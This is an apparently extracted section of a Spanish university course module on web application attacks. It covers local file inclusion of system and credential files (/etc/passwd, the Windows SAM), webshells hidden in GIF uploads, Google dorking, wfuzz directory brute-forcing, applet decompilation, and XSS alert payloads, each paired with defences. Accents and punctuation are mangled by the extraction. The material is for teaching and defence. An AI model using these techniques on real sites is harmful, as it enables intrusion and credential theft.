concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 7: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

